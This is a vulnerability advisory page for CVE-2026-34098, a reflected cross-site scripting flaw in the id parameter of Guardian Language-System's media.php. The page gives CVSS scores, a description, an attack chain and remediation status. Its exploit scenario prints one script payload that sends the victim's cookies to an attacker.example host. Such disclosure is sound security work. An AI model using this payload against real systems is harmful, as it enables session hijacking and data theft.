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Guardian Language-System CVE-2026-34098

| EUVDEUVD-2026-41054 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-01 VulnCheck GHSA-q7ff-88r7-jcwv
XSS PHP Language System
4.8
CVSS 4.0 · Vendor: VulnCheck
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Severity by source

Vendor (VulnCheck) PRIMARY
4.8 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
5.4 MEDIUM

Network-delivered reflected XSS requiring authenticated attacker (PR:L) and victim interaction (UI:R), with scope change to victim browser causing limited confidentiality and integrity impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
A
Scope
X

Lifecycle Timeline

1
Analysis Generated
Jul 01, 2026 - 16:55 vuln.today

DescriptionCVE.org

Guardian language-system fails to sanitize the id GET parameter before inserting it into HTML source and form action attributes in media.php (lines 119, 129). An authenticated attacker can craft a URL that injects script tags executing in the victim's browser session.

AnalysisAI

Reflected cross-site scripting in Guardian Language-System's media.php allows authenticated attackers to inject arbitrary JavaScript into the victim's browser session by crafting a malicious URL with a script payload in the id GET parameter. The flaw exists because the id parameter is written unsanitized directly into HTML source and form action attributes at lines 119 and 129 of media.php. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Obtain low-privileged application credentials
Delivery
Craft media.php URL with XSS payload in id parameter
Exploit
Deliver malicious URL to authenticated victim
Execution
Victim clicks link and browser renders media.php
Persist
Injected script executes in victim's browser session
Impact
Session tokens or sensitive data exfiltrated to attacker
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Vulnerability AssessmentAI

Exploitation Exploitation requires the attacker to hold a valid authenticated session in Guardian Language-System (confirmed by CVSS PR:L). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 base score of 4.8 (Medium) accurately reflects the constrained real-world impact. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with a valid low-privileged account constructs a URL to media.php with a script tag payload embedded in the id GET parameter, such as id=<script>document.location='https://attacker.example/steal?c='+document.cookie</script>. The attacker delivers this URL to a higher-privileged user via email, chat, or a forum post within the application. …
Remediation No vendor-released patch or fixed version has been identified at time of analysis; the CPE wildcard covers all versions without a bounded upper limit and no advisory references a corrective release. … Detailed patch versions, workarounds, and compensating controls in full report.
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Threat intelligence, references, and detailed analysis are available after sign-in.

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CVE-2026-34098 vulnerability details – vuln.today
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